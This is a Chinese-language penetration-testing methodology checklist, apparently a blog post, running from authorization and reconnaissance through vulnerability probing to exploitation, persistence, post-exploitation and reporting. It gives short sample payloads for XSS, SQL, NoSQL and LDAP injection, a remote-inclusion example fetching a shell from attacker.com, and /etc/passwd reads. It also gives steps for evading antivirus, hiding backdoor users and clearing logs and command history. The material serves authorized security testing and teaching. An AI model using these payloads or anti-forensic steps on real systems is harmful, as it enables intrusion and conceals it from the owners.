1. 明确目标 (Define Objectives & Authorization)
- 确认范围: 与客户沟通确定测试的具体范围(域名、IP 段、应用、系统等)。
- 获取授权: 必须获得书面的、明确的测试授权,避免法律风险。定义测试时间窗口和规则。
2. 信息收集 (Information Gathering)
-
概述: 尽可能广泛地收集与目标相关的信息,构建目标的画像,发现潜在的攻击入口点。此阶段强调信息的广度和初步关联。
-
2.1 域名与子域名收集 (Domain & Subdomain Enumeration)
- 目的: 扩展攻击面,发现可能被忽略的、防护较弱的系统或测试环境。
- 方法与工具:
- 主动枚举/爆破:
- 工具: OneForAll, dnsenum, Layer子域名挖掘机, SubDomainBrute, Sublist3r, Gobuster (dns mode), ffuf, amass.
- 被动收集:
- 在线平台: VirusTotal, DNSDumpster, HackerTarget, Crt.sh (证书透明度), RiskIQ (PassiveTotal), SecurityTrails, FOFA, Shodan, Censys, ZoomEye, 站长之家, 爱站网, ip138.
- 搜索引擎: Google (
site:example.com), Bing, DuckDuckGo. - 历史 DNS 解析: ViewDNS.info (IP History), Threatbook (微步在线), SecurityTrails.
- JS 文件分析: 从已知 Web 应用的 JavaScript 文件中提取子域名。
- 工具: JSFinder, LinkFinder, Burp Suite (Engagement tools -> Discover content).
- DNS 域传送漏洞 (AXFR):
- 原理: DNS 服务器配置不当,允许任意客户端请求整个域的记录。
- 检测与利用:
nslookup:server <dns_server>,ls -d <domain_name>dig:dig @<dns_server> axfr <domain_name>- Nmap脚本:
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=<domain> -p 53 -Pn <dns_server>
- 政府/机构数据库: 全国政府网站基本数据库 (
https://zfwzzc.www.gov.cn/) (针对特定目标)。
- 主动枚举/爆破:
-
2.2 IP 地址与归属信息 (IP Address & Ownership)
- 目的: 确定目标的网络资产、托管位置、注册者信息,关联不同资产。
- 方法与工具:
- 域名解析:
ping,nslookup,dig. - 超级 Ping: 从多地 Ping 目标,判断是否存在 CDN,获取节点 IP。
- 工具: 站长工具 Ping, 17CE, ipip.net Ping.
- WHOIS 查询: 获取域名注册人、注册商、联系邮箱、DNS 服务器等信息。
- 工具: Kali
whois命令, 站长之家 WHOIS, 爱站 WHOIS, ip138 WHOIS, ICANN Lookup, 腾讯云/阿里云 WHOIS, 新网 WHOIS.
- 工具: Kali
- 备案号查询: 获取网站备案主体(公司/个人)、备案域名列表。
- 平台: ICP备案查询网 (
icp.bugscaner.com), 站长工具 ICP, 爱站 ICP, 工信部备案管理系统 (beian.miit.gov.cn). - 反查: 利用备案号反查该主体下的所有备案域名,扩展目标。
- 平台: ICP备案查询网 (
- 企业信用查询: 根据备案信息查询企业详情、股东、分支机构、软件著作权等。
- 平台: 国家企业信用信息公示系统 (
gsxt.gov.cn), 天眼查, 企查查, 悉知, 信用中国.
- 平台: 国家企业信用信息公示系统 (
- IP 反查域名/旁站查询: 根据已知 IP 查询托管在该 IP 上的其他域名。
- 工具: Reverse IP Lookup (ViewDNS.info, HackerTarget), DNSlytics, Censys (搜索
ip:<ip_address>), FOFA (ip="<ip_address>"), Shodan (net:<ip_address>), 站长工具 (同 IP 网站查询), 爱站 (同 IP 网站查询).
- 工具: Reverse IP Lookup (ViewDNS.info, HackerTarget), DNSlytics, Censys (搜索
- 威胁情报平台: 关联 IP、域名、历史事件、样本信息。
- 平台: 微步在线 (Threatbook), 奇安信威胁情报中心 (ti.qianxin.com), 360 威胁情报中心 (ti.360.cn), 华为安全情报 (
isecurity.huawei.com).
- 平台: 微步在线 (Threatbook), 奇安信威胁情报中心 (ti.qianxin.com), 360 威胁情报中心 (ti.360.cn), 华为安全情报 (
- 域名解析:
-
2.3 技术栈与基础设施信息 (Technology Stack & Infrastructure)
- 目的: 了解目标使用的 Web 服务器、编程语言、框架、数据库、CDN、WAF 等,为漏洞选择提供依据。
- 方法与工具:
- 浏览器插件: Wappalyzer, WhatRuns, BuiltWith, Shodan, FOFA-View, TCPIPUTILS, DNSlytics.
- 证书透明度 (CT Logs): 查找使用特定证书的域名和历史记录,可能发现未公开的子域名或关联资产。
- 平台: crt.sh, Censys (Certificates Search), Google Certificate Transparency Report.
- 工具: Findomain, amass.
- 网络空间搜索引擎: 使用特定语法搜索目标资产指纹。
- FOFA:
domain="example.com",cert="example.com",header="Server: nginx",app="Apache-Shiro" - Shodan:
hostname:example.com,ssl:example.com,http.server:nginx,product:"Apache Tomcat" - Censys:
services.http.response.headers.server: nginx,names: example.com
- FOFA:
- 指纹识别工具/平台: (详见步骤 4.3)
-
2.4 应用与人员信息 (Application & Personnel Information)
- 目的: 寻找移动端入口、获取员工邮箱/账号信息、发现人为因素导致的信息泄露。
- 方法与工具:
- 移动 APP 收集:
- 应用商店: Apple App Store, Google Play, 华为应用市场等。
- 第三方平台: 七麦数据, App Annie.
- 分析: 下载 APP -> Burp Suite 抓包分析 API 接口 -> 使用反编译工具 (Android Killer, Jadx, MobSF) 分析代码,寻找硬编码的 URL、密钥、逻辑漏洞。
- 微信公众号/小程序:
- 微信搜索。
- 天眼查/企查查 (关联企业主体)。
- 抓包分析其 Web 接口。
- 邮箱地址收集:
- 猜测规则: 根据
whois信息、网站联系方式、员工姓名猜测邮箱格式 (如firstname.lastname@example.com)。 - 搜索引擎/GitHub: 搜索
@example.com。 - 数据泄露查询: Have I Been Pwned (
haveibeenpwned.com), Firefox Monitor (monitor.mozilla.org), Dehashed. - 工具: The Harvester, Infoga, Hunter.io.
- 后续: 尝试弱口令登录、查找关联社交账号、识别邮箱服务商及漏洞。
- 猜测规则: 根据
- 公网网盘搜索: 搜索可能由员工上传导致泄露的内部文档、代码、配置。
- 工具: 凌云风搜索, 大力盘, 小不点搜索等。
- 移动 APP 收集:
3. 敏感信息探测 (Sensitive Information Discovery)
-
概述: 在初步收集的基础上,进行更深入的扫描和探测,发现隐藏的目录、文件、服务和潜在的泄露点。
-
3.1 端口与服务扫描 (Port & Service Scanning)
- 目的: 发现目标主机开放的端口及运行的服务、版本,识别潜在的攻击向量。
- 工具:
- 快速全端口扫描: Masscan, Zmap (识别开放端口)。
- 详细服务识别: Nmap (对 Masscan 发现的端口进行
-sV版本探测,-sC默认脚本扫描,-O操作系统探测)。 - 组合策略 (高效):
# 1. 使用 Masscan 快速扫描全端口,输出到文件 ports.txt masscan <target_ip> -p1-65535 --rate 1000 -oL ports.txt # 2. 从 ports.txt 提取开放端口列表 ports=$(cat ports.txt | awk -F " " '{print $3}' | sort -n | tr '\n' ',' | sed 's/,$//') # 3. 使用 Nmap 对这些端口进行详细扫描 nmap -sV -sC -p $ports <target_ip> - 其他工具: 御剑高速端口扫描, Zmap, Masnmapscan.
-
3.2 C段与旁站探测 (C-Segment & Adjacent Site Probing)
- 目的: 扫描目标 IP 所在的 C 段 (同一 /24 网段),发现同一网络内可能存在的其他资产或防护较弱的“旁站”。
- 工具:
- Nmap:
nmap -sP <target_ip>/24(Ping 扫描) 或nmap -T4 -F <target_ip>/24(快速端口扫描)。 - 专用工具: K8_C段旁注查询工具, 小米范WEB查找器 (老工具)。
- 网络空间搜索引擎: FOFA (
ip="xxx.xxx.xxx.0/24"), Shodan (net:xxx.xxx.xxx.0/24)。
- Nmap:
-
3.3 目录与文件扫描 (Directory & File Scanning)
- 目的: 发现 Web 应用中隐藏的目录、后台登录页面、敏感文件(备份、配置、源码)、API 接口等。
- 工具:
- 目录/文件扫描: Dirsearch, Gobuster (dir mode), ffuf, dirb,御剑后台扫描, 7kbscan, Web破壳工具, DirMap, WhatWeb (
-a 3), Nikto. - 备份文件扫描: Test404网站备份文件扫描器, ihoneyBakFileScan, BBScan (被动)。
- 关注目标:
.git,.svn,.DS_Store,.hg,.bzr,.bak,.swp,.old,.zip,.rar,config.*,database.*,admin,manage,backup,test,phpinfo.php,robots.txt,sitemap.xml等。
- 目录/文件扫描: Dirsearch, Gobuster (dir mode), ffuf, dirb,御剑后台扫描, 7kbscan, Web破壳工具, DirMap, WhatWeb (
-
3.4 源码与凭证泄露 (Source Code & Credential Leakage)
- 目的: 寻找由于配置不当或人为失误导致的源码、API密钥、数据库密码等敏感信息泄露。
- 方法:
- GitHub/GitLab/Gitee 搜索:
- 关键词: 目标域名、公司名称、项目名称、特定 JS 路径、备案号、员工邮箱后缀。
- 工具: GSIL (GitHub Sensitive Information Leak), Gitrob, truffleHog, Github-Monitor.
- 员工邮箱/账号搜索: (见 2.4)
- 公网网盘搜索: (见 2.4)
- GitHub/GitLab/Gitee 搜索:
-
3.5 历史信息挖掘 (Historical Information Mining)
- 目的: 查看网站历史版本,可能发现旧版本中存在的漏洞、敏感信息或已被移除的入口。
- 工具: Wayback Machine (
web.archive.org).
4. 信息整理与分析 (Information Consolidation & Analysis)
-
概述: 对前两阶段收集到的杂乱信息进行过滤、去重、验证和关联分析,明确主要攻击目标和方向。
-
4.1 CDN 识别与绕过尝试 (CDN Identification & Bypass Attempts)
- 识别:
- 多地 Ping/超级 Ping: 返回多个不同地理位置/运营商 IP。
- Nslookup/Dig: 查看 CNAME 记录是否指向 CDN 厂商域名。
- 在线工具: 17CE, IPIP.net CDN Check.
- 常见 CDN 厂商: Cloudflare, Akamai, AWS CloudFront, Google Cloud CDN, Fastly, 阿里云, 腾讯云, 百度云, 网宿, 蓝汛, 七牛云等。
- 绕过尝试 (寻找源站 IP): (详见 CDN 绕过笔记)
- 历史 DNS 记录。
- 未上 CDN 的子域名 (邮件服务器 MX 记录、测试/开发域名等)。
- SSL 证书关联查询 (Censys, crt.sh)。
- 国外/偏远地区 DNS 解析。
- 网站自身漏洞 (SSRF, 文件泄露, XSS 盲打)。
- 邮件订阅/服务 (查看邮件头
Received:字段)。 - F5 LTM Cookie 解码。
- 网络空间搜索引擎搜索特征。
- 旁站查询。
- 验证源站 IP: 直接 IP 访问对比页面内容/证书,端口扫描确认服务。
- 识别:
-
4.2 WAF 识别 (WAF Identification)
- 目的: 判断目标是否部署了 Web 应用防火墙,了解其类型有助于选择绕过策略。
- 方法:
- 工具探测:
wafw00f <url>. - 手动探测: 发送简单攻击 Payload (如
<script>alert(1)</script>,?id=1') 观察响应(是否被拦截、返回特定错误页、响应头变化)。 - 报错页面指纹: WAF 拦截页面通常包含厂商信息(如 Cloudflare, 安全狗, FortiWeb)。
- 响应头: 检查
Server,X-Powered-By,Via及其他自定义头。
- 工具探测:
-
4.3 指纹识别 (Fingerprinting)
- 目的: 识别目标网站使用的 CMS、框架、Web 服务器、操作系统、编程语言、第三方组件及其版本。
- 方法:
- 在线平台: 云悉指纹, 潮汐指纹, 360 观星指纹.
- 工具: WhatWeb,御剑 Web 指纹识别, Test404 CMS 指纹识别, TideFinger 脚本, Wafw00f (有时也附带指纹信息).
- 浏览器插件: Wappalyzer, BuiltWith.
- 特征分析:
- 特定目录/文件:
wp-admin/,/admin/,dede/,robots.txt,favicon.ico. favicon.icoMD5 值查询。- 页面源代码注释、
generator标签、特定 JS/CSS 文件名或路径。 - HTTP 响应头 (
Server,X-Powered-By, Cookie 名称如JSESSIONID,PHPSESSID). - 报错信息。
- 特定目录/文件:
-
4.4 端口/服务/系统分析 (Port/Service/System Analysis)
- 目的: 结合 Nmap 等工具扫描结果,分析开放端口对应的服务、版本,判断潜在的可利用漏洞或弱点。确认操作系统类型和版本。
5. 漏洞探测 (Vulnerability Probing)
-
概述: 基于信息收集和分析的结果,有针对性地对目标进行漏洞扫描和手动探测。
-
5.1 扫描策略 (Scanning Strategy)
- 时间选择: 选择业务低峰期(如深夜)进行扫描,减少对目标业务的影响,降低被发现概率。
- 速率控制: 根据目标应急响应能力(是否封禁 IP)调整扫描速率。可先用少量线程试探。
- 代理使用: 使用代理 IP 池隐藏真实 IP,规避 IP 封禁。
- 区分扫描类型: Web 漏洞扫描针对 Web 应用(域名/URL),主机漏洞扫描针对 IP 地址(操作系统、服务)。
-
5.2 自动化扫描 (Automated Scanning)
- Web 漏洞扫描器: AWVS, Nessus (Web Scan), AppScan, Burp Suite Pro Scanner, XRay, Goby 等。对收集到的域名和 URL 进行批量扫描。
- 主机漏洞扫描器: Nessus, OpenVAS, Qualys Guard. 对收集到的 IP 地址进行系统和服务的漏洞扫描。
-
5.3 手工探测 (Manual Probing)
- 概述: 针对特定功能点、输入点或基于指纹信息的已知漏洞进行深入的手动测试。
- 常见漏洞类型与测试点:
- SQL 注入 (SQL Injection):
- 输入点: URL 参数、POST 数据、HTTP 头 (Cookie, User-Agent, Referer, X-Forwarded-For), 搜索框、登录框等。
- 测试: 使用单引号、注释符、延时函数、布尔盲注、报错注入等 Payload。注意 WAF 绕过技巧。
- 跨站脚本 (XSS):
- 输入点: 搜索框、留言板、用户资料、URL 参数、富文本编辑器。
- 测试: 输入
<script>alert(1)</script>,"><img src=x onerror=alert(1)>, HTML 实体编码, 事件处理器等。查看源码确认输入是否被正确过滤/编码。关注 DOM XSS (URL hash, JS 变量)。 - 万能 Payload 示例 (需根据上下文调整):
"><textarea autofocus onfocus=alert(1)></textarea>,javascript:alert(1)(URL Scheme)。
- 文件下载漏洞 (Arbitrary File Download/Read):
- URL 特征:
download.php?file=,readfile.php?path=,down.jsp?filename=. - 参数名:
file,path,filename,Data,src,Inputfile,filepath,url等。 - 测试: 使用目录遍历 (
../), 空字节 (%00), 绝对路径尝试读取敏感文件 (/etc/passwd,C:/Windows/win.ini, 配置文件)。
- URL 特征:
- 文件上传漏洞 (File Upload Vulnerability):
- 测试点: 头像上传、附件上传、编辑器图片上传、文件导入等。
- 测试: 尝试上传 Webshell (PHP, ASP, JSP),绕过后缀名、Content-Type、文件头检测。利用解析漏洞 (IIS, Apache, Nginx)。(详见 Webshell 获取笔记)。
- 文件包含漏洞 (File Inclusion - LFI/RFI):
- URL 特征:
?page=a.php,?file=content.txt,?module=news. - 测试: 尝试包含本地文件 (
/etc/passwd, 日志文件, Session 文件, 上传的 txt/图片马) 或远程文件 (http://attacker.com/shell.txt- 需要allow_url_include=On)。利用php://filter,php://input,data://等伪协议。
- URL 特征:
- 命令执行漏洞 (Command Injection / RCE):
- 测试点: 提供 ping, nslookup, 系统诊断等功能的页面;参数直接或间接传递给
system(),exec(),passthru(),shell_exec()等函数的地方。 - 测试: 使用管道符
|, 分号;, 反引号`,$(command)注入系统命令。
- 测试点: 提供 ping, nslookup, 系统诊断等功能的页面;参数直接或间接传递给
- 跨站请求伪造 (CSRF):
- 测试点: 修改密码、修改个人信息、发帖、转账、添加用户、删除数据等敏感操作。
- 检测:
- 抓取正常请求包。
- 检查是否存在 Token 或验证码等防 CSRF 机制。若有,尝试移除或重用 Token 看是否有效。
- 移除
Referer和Origin请求头,重放请求看是否成功。 - 若无有效防护,构造 PoC HTML 页面,在另一个已登录用户身份的浏览器中打开,看操作是否被执行。
- 结合 XSS: 利用 XSS 获取 Token 或自动提交 CSRF 表单。
- 服务端请求伪造 (SSRF):
- 测试点: 通过 URL 加载外部资源的功能(图片/文章分享、转码、在线翻译、从 URL 上传、WebHook、编辑器插入远程图片)。
- URL 参数关键字:
url,link,src,target,imageURL,domain,share. - 测试: 将参数值修改为内网 IP 地址 (
http://127.0.0.1:80,http://192.168.1.1:8080),file:///etc/passwd,dict://,gopher://等协议,观察响应变化(状态码、报错信息、响应时间)。
- XML 外部实体注入 (XXE):
- 测试点: 处理 XML 输入的接口(SOAP, REST API, 文件上传)。
- 检测: 抓包查看请求
Content-Type是否为application/xml或Accept头是否包含 XML。尝试修改Content-Type为 XML。 - 测试: 注入 XML 外部实体 Payload,尝试读取本地文件、探测内网端口、执行命令(需特定环境)。
- WAF 绕过: 参考 WAF 绕过笔记,使用编码、注释、大小写、参数污染、分块传输等技巧。
- 弱口令/暴力破解: (详见暴力破解笔记) 测试登录接口、管理后台、数据库、SSH、RDP 等。工具: Hydra, Medusa, Burp Intruder.
- 逻辑漏洞: (详见逻辑漏洞笔记) 测试越权(水平/垂直)、支付漏洞、密码重置漏洞、验证码绕过等。
- 服务端模板注入 (SSTI):
- 测试点: 用户输入被嵌入服务器端模板进行渲染的地方(URL参数, POST数据, HTTP头, 个性化内容区域, 错误页面, 邮件模板等)。关注动态生成内容的接口。
- 检测:
- 注入简单数学/字符串运算探测 (
{{7*7}},${7*7},<%= 7*7 %>,#{7*7},*{7*7}等) 观察服务器是否计算并返回结果。 - 使用引擎区分 Payload (如
{{7*'7'}}) 判断具体引擎 (Jinja2 返回 ‘7777777’, Twig 返回 49)。 - 参考 SSTI 识别图或在线资源获取更全面的探测 Payload 列表。
- 注入简单数学/字符串运算探测 (
- 利用 (尝试 RCE): 识别引擎后,构造针对性 Payload 调用底层 OS 命令或访问敏感信息 (参考之前添加的详细内容)。
- 工具: SSTImap (自动化检测与利用)。
- 竞争条件 (Race Condition):
- 原理: 利用服务器端并发处理请求时,对共享资源(如账户余额、优惠券状态、库存数量、投票次数)访问和修改缺乏适当同步(如锁),导致“检查时间到使用时间”(TOCTOU)之间存在状态不一致的可能。
- 测试点:
- 涉及状态检查后执行修改的操作:转账(检查余额后扣款)、优惠券/折扣码使用(检查有效性/次数后应用并标记)、秒杀/抢购(检查库存后下单)、投票/点赞(检查资格/次数后计数)、资源申请/预订(检查可用性后分配)。
- 任何需要保证原子性但实现上可能分步的操作。
- 测试方法:
- 识别目标操作的请求。
- 使用工具高速并发地发送大量(几十到几百个)相同的请求到目标接口。
- 观察服务器响应和最终状态,判断是否成功利用了时间窗口,导致非预期结果(如超额转账、多次使用优惠券、超额下单、绕过次数限制等)。
- 工具: Burp Suite Turbo Intruder (首选,专为高速并发设计), Burp Suite Intruder (需调整线程数和延迟), 自定义脚本 (Python requests + threading/asyncio)。
- 认证与枚举 (Authentication & Enumeration):
- 测试点: 登录、注册、密码重置页面;HTTP Basic Auth 保护的资源。
- 测试:
- 用户枚举: 通过登录/密码重置页面的响应差异(“用户不存在” vs “密码错误”)、注册页(“用户已存在”)识别有效用户名。利用详细错误信息。
- 密码策略探测: 分析密码错误提示、源码(若可得)推断复杂度要求。
- 弱口令/暴力破解: (详见暴力破解笔记) 测试登录接口、管理后台、HTTP Basic Auth 等。工具: Hydra, Medusa, Burp Intruder。
- 密码重置漏洞: 检查令牌是否可预测、有效期是否过长、使用后是否失效、安全问题是否薄弱、传输是否安全 (HTTPS)。
- 信息泄露: 使用 Google Dorks、Wayback Machine 查找可能泄露的凭证、备份或管理接口。
- 会话管理 (Session Management):
- 测试点: Cookie/Token 的生成、传输、存储、验证、过期、注销机制。
- 测试:
- 会话令牌强度: 检查 Session ID/Token 的熵和随机性,是否可预测。
- 会话固定 (Session Fixation): 验证登录成功后是否重新生成会话 ID。
- 传输安全: 检查 Cookie 的
Secure属性;确保令牌仅通过 HTTPS 传输。 - 客户端保护: 检查 Cookie 的
HttpOnly属性(防 XSS 窃取);检查 Token 是否存储在安全位置(避免 LocalStorage)。 - 跨站保护: 检查 Cookie 的
SameSite属性 (Strict, Lax, None)。 - 会话生命周期: 验证会话超时是否按预期工作;用户注销/密码更改后,服务器端会话是否立即失效(尤其对 JWT)。
- 日志记录: 检查是否有足够的日志记录会话相关的安全事件。
- 授权控制 (Authorization Control):
- 测试点: 不同用户角色访问同一功能、同一用户访问不同对象(数据)的权限控制点。API 端点。
- 测试:
- 垂直越权: 尝试使用低权限用户访问高权限用户的功能接口或页面。
- 水平越权: 尝试使用用户 A 的身份访问/修改用户 B 的数据(通过修改请求中的 ID 等参数)。
- 不安全直接对象引用 (IDOR): 测试是否可以通过修改 URL 或请求参数中的 ID 来访问未授权的对象。
- JWT 安全 (JWT Security):
- 测试点: 使用 JWT 进行认证/授权的 API 端点;JWT 的生成和验证逻辑。
- 测试:
- 信息泄露: 解码 JWT Payload,检查是否包含敏感信息。
- 签名验证: 尝试移除签名、修改 Payload 后重放;测试
alg: none绕过;尝试爆破 HS256 弱密钥;测试算法混淆 (RS256 -> HS256 使用公钥签名)。 - 有效期: 检查
exp声明是否存在且合理;测试过期令牌是否被拒绝。 - 其他声明: 检查
aud(受众)、iss(签发者) 等声明是否被严格校验(特别是在跨服务场景)。
- OAuth 安全 (OAuth Security):
- 测试点: OAuth 认证流程(授权端点、令牌端点)、
redirect_uri配置、state参数使用、客户端凭证管理。 - 测试:
- Redirect URI 操纵: 测试
redirect_uri是否存在开放重定向漏洞、是否允许任意子域名/路径,尝试将授权码/令牌重定向到攻击者控制的地址。 - CSRF 防护: 检查
state参数是否存在、是否随机不可预测、是否与用户会话绑定并在回调时验证。 - 隐式流程风险: (若使用) 检查令牌是否通过 URL 片段泄露,客户端存储是否安全。
- 授权码/令牌泄露: 检查授权码是否会通过 Referer 头泄露;客户端凭证是否硬编码或不安全存储。
- 范围校验: 检查令牌的权限范围 (
scope) 是否被正确限制。
- Redirect URI 操纵: 测试
- 测试点: OAuth 认证流程(授权端点、令牌端点)、
- 多因素认证 (MFA/2FA) 绕过:
- 测试点: MFA 设置、验证环节(输入OTP/确认推送)、备用/恢复机制、MFA 强制策略。
- 测试:
- OTP 强度/泄露: 检查 OTP 是否可预测;查看 HTTP 响应或 JS 代码是否意外泄露 OTP。
- 暴力破解: 测试 OTP 输入接口是否存在速率限制和账户锁定。
- 逻辑绕过: 尝试在未完成 MFA 时访问受限资源;测试 MFA 是否能在密码重置/会话恢复流程中被跳过。
- 备用机制: 测试恢复码、安全问题等备用验证方式的安全性。
- MFA 策略: 检查是否所有敏感操作都需要 MFA;条件访问策略是否存在逻辑缺陷。
- 中间人钓鱼: 评估使用 Evilginx 等工具进行 MITM 钓鱼的可行性。
- NoSQL 注入 (NoSQL Injection):
- 原理: 用户输入被不安全地嵌入到 NoSQL 查询(如 MongoDB 的 BSON 查询文档)中,导致查询逻辑被篡改。常通过注入 NoSQL 查询操作符 (
$ne,$gt,$regex,$where等) 实现。 - 测试点: 使用 NoSQL 数据库 (尤其是 MongoDB) 的接口,特别是接受结构化数据 (JSON) 或能被后端解析为嵌套对象的参数(如
param[$op]=value)。登录、搜索、API 端点是常见目标。 - 测试方法:
- 识别后端处理: 判断用户输入如何转化为查询对象。
- 探测操作符注入:
- 尝试通过参数构造 (e.g.,
username[$ne]=admin&password[$ne]=admin) 或直接注入 JSON (e.g.,{"username": {"$ne": "admin"}}) 来注入操作符。 - 认证绕过: 使用
$ne,$gt,$regex等尝试匹配非预期用户或绕过密码检查。例如,username[$ne]=xyz&password[$ne]=xyz可能匹配数据库中存在的任意用户。 - 数据探测: 使用
$regex进行盲注猜测 (e.g.,password[$regex]=^a.*测试密码是否以 ‘a’ 开头),或使用$in/$nin探测数据。 - 服务端 JS 注入 (
$where): 高危! 尝试注入$where操作符并执行 JS 代码 (e.g.,field[$where]='sleep(5000)'进行时间盲注探测)。检查服务器是否禁用 JS 执行 (javascriptEnabled=false)。
- 尝试通过参数构造 (e.g.,
- 探测语法注入 (较少见): 尝试注入
{}',";\等字符,观察是否引发错误或改变行为,依赖于不安全的查询构建方式。
- 关注操作符:
$ne,$gt,$lt,$gte,$lte,$in,$nin,$regex,$where,$exists,$type。
- 原理: 用户输入被不安全地嵌入到 NoSQL 查询(如 MongoDB 的 BSON 查询文档)中,导致查询逻辑被篡改。常通过注入 NoSQL 查询操作符 (
- LDAP 注入 (LDAP Injection):
- 原理: 用户输入未经过滤或转义,被直接拼接到 LDAP 查询(特别是过滤器 Filter)中,导致查询逻辑被攻击者控制。
- 测试点: 使用 LDAP 进行认证(登录)、目录搜索、信息查询等功能的输入点(如用户名、搜索关键词字段)。
- 测试方法:
- 识别注入点: 分析应用程序如何根据用户输入构建 LDAP 过滤器。
- 注入特殊字符和语法: 尝试注入 LDAP 过滤器元字符
*,(,),\,&,|,!,=等。 - 认证绕过:
- 通配符注入: 输入
username=*和password=*,尝试构造(&(uid=*)(userPassword=*))等过滤器匹配任意用户。 - 逻辑注入: 构造永真条件。例如,若原始过滤器为
(&(uid=$user)(pass=$pass)),尝试注入user=admin)(|(uid=*)和pass=*)(pass=*)来构造类似(&(uid=admin)(|(uid=*)(pass=*)))的过滤器绕过密码验证。
- 通配符注入: 输入
- 信息泄露: 构造过滤器枚举用户或对象属性,如
(uid=*),(objectClass=*)。 - 盲注 (Blind LDAP Injection): 当无直接回显时,利用布尔逻辑或(较少见的)时间延迟判断注入条件真假。
- 布尔盲注: 构造条件(如
(uid=admin)(mail=a*)),观察应用响应差异(如 “密码错误” vs “用户不存在”)来逐字猜测信息。 - 自动化: 使用脚本(如提供的 Python 示例)自动化盲注过程。
- 布尔盲注: 构造条件(如
- 工具:
ldapsearch(辅助测试), Burp Suite, 自定义脚本。
- ORM 注入 (ORM Injection):
- 原理: 绕过 ORM 框架的安全机制(如参数化查询),通过操纵传递给 ORM 方法的输入,影响最终生成的 SQL 查询。通常发生在不安全地使用 ORM 原始 SQL 功能或动态构建查询结构(如排序字段)时。
- 测试点:
- 使用 ORM 提供的执行原始 SQL 片段的方法(如 Laravel 的
whereRaw,orderByRaw;Django 的raw,extra;SQLAlchemy 的text;Sequelize 的sequelize.query等)。 - 允许用户输入控制查询字段名、排序字段/方向、聚合函数等结构性部分的接口。
- 搜索、过滤、排序功能对应的 API 参数。
- 使用 ORM 提供的执行原始 SQL 片段的方法(如 Laravel 的
- 测试方法:
- 识别框架/ORM: (参考 4.3 指纹识别)。
- 审查 ORM 用法 (代码审计最佳): 查找直接拼接用户输入的原始 SQL 方法调用;检查动态查询构建部分是否对用户输入进行严格白名单验证。
- 注入测试:
- 向怀疑使用原始 SQL 的参数注入 SQL 特殊字符和语句。
- 向控制排序/过滤字段的参数注入 SQL 语句、函数调用或数据库特定语法(如示例中的
name->"%27)) LIMIT 10%23针对特定库的排序注入)。 - 尝试通过输入改变查询逻辑(如注入
OR,UNION等)。
- 错误探测: 提交意外输入,诱发 ORM/数据库错误,观察是否泄露查询结构。
- 关注点: 明确用户输入是否可能影响 SQL 查询结构,而不仅仅是查询值。优先测试排序、过滤和使用了 Raw SQL 的地方。
- SQL 注入 (SQL Injection):
6. 漏洞验证与利用 (Vulnerability Validation & Exploitation)
-
概述: 对探测阶段发现的潜在漏洞进行精确验证,确认其真实性和可利用性,并尝试获取系统访问权限。
-
6.1 确认与深度分析 (Confirmation & In-depth Analysis)
- 使用 PoC (Proof of Concept) 或手动构造 Payload 验证漏洞是否存在。
- 分析漏洞原理,评估其影响范围和利用条件。
- 考虑漏洞链 (Vulnerability Chaining):组合多个低危漏洞达到更高权限或更大影响。
-
6.2 获取控制权 (Gaining Control - Getshell)
- 利用 RCE, SQL 注入 (写文件), 文件上传, 文件包含等漏洞上传或写入 Webshell。
- 利用反序列化、命令注入等漏洞获取反弹 Shell。
- 利用特定框架/CMS 的已知 Getshell 漏洞。
-
6.3 后门与持久化 (Backdoors & Persistence)
- 目的: 在获得控制权后,建立隐蔽、稳定的长期访问通道。
- Webshell 特征:
- 免杀处理:绕过 AV/IPS 检测。
- 权限获取:尝试获取高权限用户信息。
- 用户/进程伪装:创建隐藏用户,伪装进程名、服务签名。
- 网络配置:修改防火墙规则,开放端口。
- 自启动/持久化:添加到启动项、计划任务、服务。
- 日志清理:删除相关系统、安全、Web 日志。
- 持久化方法 (OS 层面): (详见权限维持笔记)
- 创建隐藏/克隆用户。
- 利用现有用户 (激活 administrator, 窃取凭据)。
- 计划任务 (schtasks / cron)。
- 启动项 (注册表 Run 键 / Startup 文件夹 / Linux profile)。
- 系统服务 (sc create / systemd unit)。
- 映像劫持 (IFEO)。
- WMI 事件订阅。
- 修改 Sudoers (Linux)。
- RPM 包重定向后门 (Linux)。
7. 后渗透测试 (Post-Exploitation)
-
概述: 在取得目标系统控制权后,进行更深入的探测和横向移动,以达到最终目标(如获取域控权限、窃取核心数据)。
-
7.1 权限提升 (Privilege Escalation): (参考 Windows/Linux 提权笔记) 利用系统漏洞、配置错误、令牌窃取等提升至最高权限。
-
7.2 内网渗透 (Internal Network Penetration): (参考内网渗透笔记)
- 信息收集 (主机、用户、网络、域环境)。
- 内网扫描与探测。
- 横向移动 (Pass-the-Hash, Pass-the-Ticket, 漏洞利用, DCOM, WMI)。
- 凭据窃取 (Mimikatz, LaZagne)。
- 域控攻击 (DCSync, Golden Ticket, Skeleton Key)。
- 工具: Cobalt Strike, Metasploit, Empire, Impacket 等。
-
7.3 清理痕迹 (Clearing Traces)
- 删除上传的工具、脚本、Payload。
- 清除命令历史 (
history -c/ 删除.bash_history/ 修改注册表)。 - 清除系统日志 (Event Logs / Syslog / auth.log / wtmp / btmp)。
- 清除 Web 服务器访问日志、错误日志。
- 恢复被修改的配置。
-
7.4 报告撰写 (Reporting)
- 目的: 清晰、准确地记录测试过程、发现的漏洞、风险评估、利用步骤和修复建议。
- 内容: 目标、范围、时间、方法、发现的漏洞详情(描述、复现步骤、截图/证据、风险评级)、修复建议、总结。
1760

被折叠的 条评论
为什么被折叠?



